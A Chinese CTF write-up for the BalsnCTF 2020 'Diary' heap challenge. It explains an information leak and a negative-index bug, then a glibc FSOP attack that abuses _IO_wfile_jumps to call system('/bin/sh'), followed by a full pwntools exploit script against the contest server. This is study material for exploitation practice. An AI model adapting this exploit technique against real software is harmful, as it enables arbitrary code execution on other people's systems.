【CTF】BalsnCTF 2020 Diary

# 基本流程

# 程序描述

这题是一个堆相关的漏洞,通过操作日记,可以操作堆块的增删改查,申请的堆块存放在 bss 段中,且正好在 name 的后面:

但是修改只能改一次,而且每一个堆块申请了一次之后在释放就无法在 bss 段中对应的该索引位置再次申请了:


# 漏洞

这题的漏洞比较明显,有两个漏洞,在利用过程中都需要使用:

  • 输入字符串未在末尾添加 0 截断,可以通过显示输入的 name 对堆地址进行泄漏
  • 索引未检查负数,可以使用负索引修改 stdout 指向的内容

# 利用

因为只能通过对 stdout 的内容进行修改,因此需要通过 FSOP 进行利用。在 Linux 的进程启动的时候,有一个全局变量 _IO_list_all,该变量是一个链表,会将当前打开的文件结构(_IO_FILE_)进行串联。因为在程序运行时有 3 个文件(stdin、stdout、stderr)是打开的,因此在默认情况下,进程运行之后 _IO_list_all 链表中会存在这三个文件结构:

关于 _IO_FILE_ 结构等详细讲解可以参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/

当一个进程在调用 abort() 或 exit() 函数的时候,或者 main() 函数返回的时候,会遍历 _IO_list_all 链,一次调用每一个文件结构中的 overflow 函数,而 overflow 函数是存在文件结构中的虚表中的:

因此,由于我们可以编辑 _IO_2_1_stdout_ 的内容,如果我们可以使得 _IO_2_1_stdout_ 中的 vtable 指向我们可以控制的内存(Fake Vtable),然后在 Fake Vtable 中伪造 __overflow 为任意函数,则可以劫持控制流。

但是,在 libc 2.24 之后,libc 在执行 vtable 中的函数的时候,对 vtable 的有效性做了验证,因此需要借助其内部的机制进行利用,而不能简单粗暴地劫持虚表。

那么,如何利用呢?可以参考链接:https://darkeyer.github.io/2020/08/17/FSOP%E5%9C%A8glibc2.29%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/。从上图中我们可以看到,vtable 指向的是 _IO_file_jump 这个虚表,但是实际上系统中不止这一个虚表,还有其他虚表。有一些虚表中的一些函数,会将调用的文件结构的部分内存看作是函数指针,并且最终调用这个函数指针。因此,我们只需要根据那些函数的调用逻辑,构造这样的一个堆块即可。

比如 _IO_wfile_jumps 这个虚表,同样包含较多的函数,其中 _IO_wfile_jumps 函数如下:

(图片来自上方链接)

因此我们构造 fp 的内存布局,然后将这个内存布局挂到 _IO_list_all 上,最后调用 exit() 即可劫持控制流。

但是,在利用之前,还需要泄漏 libc 地址,由于我们可以修改 _IO_2_1_stdout_ 结构中的任意内容,因此将其 write_base 和 write_ptr 进行修改(对于文件的输出的详解可以查看:https://ray-cp.github.io/archivers/IO_FILE_fwrite_analysis),改到对应的已经释放到 unsorted bin 中的堆地址,然后显示即可。

最后,将 *cv->__codecvt_do_encoding 对应的内容更改为 system 指针,将 cv 中的值改为 “/bin/sh\x00” 即可完成利用。

# Exp

from pwn import *

# context.log_level = 'DEBUG'

# program = process('./diary')
program = remote('diary.balsnctf.com', 10101)

program.sendafter('your name : ', 'A' * 0x20)


def show_name():
    program.sendlineafter('choice : ', '1')
    content = program.recvuntil('\n=========', drop=True)
    return content


def write_diary(length, content):
    program.sendlineafter('choice : ', '2')
    program.sendafter('Diary Length : ', str(length))
    program.sendafter('Diary Content : ', content)


def read_diary(idx):
    program.sendlineafter('choice : ', '3')
    program.sendlineafter('Page : ', str(idx))
    content = program.recvuntil('\n=========', drop=True)
    return content


def edit_diary(idx, content):
    program.sendlineafter('choice : ', '4')
    program.sendlineafter('Page : ', str(idx))
    program.sendafter('Content : ', content)


def tear_out(idx):
    program.sendlineafter('choice : ', '5')
    program.sendlineafter('Page : ', str(idx))


write_diary(0x80, '\n' * 0x80)
leak = show_name()[-6:]
heap_address = u64(leak.ljust(8, '\x00'))
fake_addr = heap_address + 0x490

buf_addr = heap_address + 0x5b0

info("Heap address: " + hex(heap_address))

for i in range(7):
    write_diary(0x80, 'B' * 0x80)

for i in range(7):
    tear_out(i + 1)

tear_out(0)
edit_diary(-8, p32(0) + p64(heap_address) * 4 + p64(heap_address + 0x20) * 4 + p64(0x0) * 4 + p64(fake_addr))
# pause()
# program.interactive()
leak = program.recv(6)
# 0x1e4ca0
# 0x3ebc40
# libc = u64(leak.ljust(8, '\x00')) - 0x3ebca0  # Libc 2.27
libc = u64(leak.ljust(8, '\x00')) - 0x1e4ca0
# system_addr = libc + 0x4f550  # Libc 2.27
system_addr = libc + 0x52fd0
# puts_addr = libc + 0x80aa0
puts_addr = libc + 0x83cc0
# bin_sh_addr = libc + 0x1b3e1a
bin_sh_addr = libc + 0x1afb84

# wfile_jmp = libc + 0x3e7d60
wfile_jmp = libc + 0x1e6020

info("Libc address: " + hex(libc))

write_diary(0x80, p64(0x0) * 0x10)  # 8
fake_file_payload = p64(0) * 5 + p64(1) + p64(0) * 2 + p64((bin_sh_addr - 100) // 2)
write_diary(0x80, p32(0x0) + p64(0) + fake_file_payload)  # 9
write_diary(0x80, p32(0) + p64(0) + p64(0) + p64(buf_addr) + p64(buf_addr + 0x30) + p64(0x0) * 6 + p64(wfile_jmp + 72))  # 10 0x5566cecd9760

write_diary(0x80, p32(0x0) + p64(0x0) + '/bin/sh\x00' + p64(system_addr) * 0x5 + p64(1) + p64(0) + p64(1) + p64(0))  # 11

pause()

program.sendlineafter('choice : ', '6')
program.interactive()
pause()

# 参考

Leave a Reply

Your email address will not be published. Required fields are marked *